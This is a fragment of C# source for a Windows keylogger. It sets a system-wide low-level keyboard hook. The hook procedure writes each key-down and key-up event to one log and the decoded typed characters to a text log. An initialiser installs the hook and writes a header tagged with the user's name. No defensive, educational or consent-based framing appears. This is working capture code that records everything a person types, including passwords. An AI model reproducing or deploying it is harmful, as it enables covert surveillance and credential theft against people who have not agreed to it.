// keyboard hook procedure
static IntPtr KbdHookProc(int code, WM wParam, [In] KBDLLHOOKSTRUCT lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
bool active = (wParam == WM.KEYDOWN || wParam == WM.SYSKEYDOWN);
keyLog.Write(active ? key + "+ " : key + "- ");
txtLog.Write(KbdChar.Char(lParam.vkCode, active));
}
return(User32.CallNextHookEx(IntPtr.Zero, code, wParam, lParam));
}
public static void Init()
{
kydbHookProc = new LowLevelKeyboardProc(KbdHookProc);
ProcessModule module = Process.GetCurrentProcess().MainModule;
IntPtr hMod = Kernel32.GetModuleHandle(module.ModuleName);
hHook = User32.SetWindowsHookEx(HookType.WH_KEYBOARD_LL, kydbHookProc, hMod, 0);
headLog.Write("[" + user + "] ");
headLog.Write(user + "-key ");
headLog.Write(user + "-txt ");
headLog.Flush();
KbdChar.Init();
}